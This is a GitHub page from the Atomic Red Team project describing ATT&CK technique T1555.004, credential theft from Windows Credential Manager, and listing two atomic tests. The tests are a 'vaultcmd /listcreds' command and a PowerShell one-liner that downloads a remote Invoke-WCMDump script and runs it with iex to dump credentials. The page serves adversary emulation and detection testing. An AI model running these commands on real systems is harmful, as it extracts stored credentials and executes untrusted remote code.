




Sign in


 redcanaryco / atomic-red-team

Public


 Notifications


 Fork

2.8k


 Star

9.7k


 Code


 Issues


6


 Pull requests

5

 Actions


 Wiki

 Security

 Insights

atomic-red-team / atomics / T1555.004 / T1555.004.md 





79 lines (34 loc) · 3.44 KB

T1555.004 - Windows Credential Manager

Description from ATT&CK

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](#), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]`. The encryption key can be found in a file named `Policy.vpol`, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. `vaultcmd.exe` is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as `CredEnumerateA` to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Credential Manager)

Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)

Atomic Tests

-

[Atomic Test #1 - Access Saved Credentials via VaultCmd](#)

-

[Atomic Test #2 - WinPwn - Loot local Credentials - Invoke-WCMDump](#)

Preview

Code

Blame

Raw



Atomic Test #1 - Access Saved Credentials via VaultCmd

List credentials currently stored in Windows Credential Manager via the native Windows utility `vaultcmd.exe`

Credential Manager stores credentials for signing into websites, applications, and/or

devices that request authentication through NTLM or Kerberos

<https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/>

<https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16>

Supported Platforms: Windows

auto_generated_guid: 9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439

Attack Commands: Run with `command_prompt` !

```
vaultcmd /listcreds:"Windows Credentials"
```



Atomic Test #2 - WinPwn - Loot local Credentials - Invoke-WCMDump

Loot local Credentials - Invoke-WCMDump technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: fa714db1-63dd-479e-a58e-7b2b52ca5997

Attack Commands: Run with `powershell` !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-WCMDump
```

